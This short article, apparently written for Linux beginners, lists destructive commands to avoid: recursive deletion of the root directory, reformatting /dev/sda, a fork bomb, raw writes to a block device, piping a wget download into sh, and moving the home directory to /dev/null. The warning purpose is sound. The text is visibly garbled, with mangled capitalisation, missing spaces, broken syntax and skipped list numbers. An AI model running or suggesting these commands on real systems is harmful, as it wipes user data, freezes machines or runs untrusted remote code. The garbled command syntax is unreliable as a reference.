Seven fatal Linux commands

If you are a beginner in Linux, you may attempt to obtain commands from various channels with curiosity. The following are seven fatal Linux commands that cause loss of your data and paralysis of your system. Therefore, you should try your best to avoid running them in the system.

2. Rm-RF/This command recursively deletes all files in the/directory.

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   This is the hex (hexadecimal) version of RM-RF/, which can confuse Linux users.

6. Mkfs. ext3/dev/SDAThis will reformat the hard disk. Naturally, all the data on the hard disk will be wiped out.
8. :() {:| :&};:The famous fork bomb, this command will tell your system to execute massive processes until your system freezes.
10. Any_command>/dev/SDAWith this command, the raw data will be written to the block device, resulting in data loss.
12. Wget http: // some_untrusted_source-o-| shDo not download things from untrusted places, which may be malicious.Code.
14. MV/home/yourhomedirectory/*/dev/nullThis command moves all files in the main directory to a non-existent place and you will no longer see those files.

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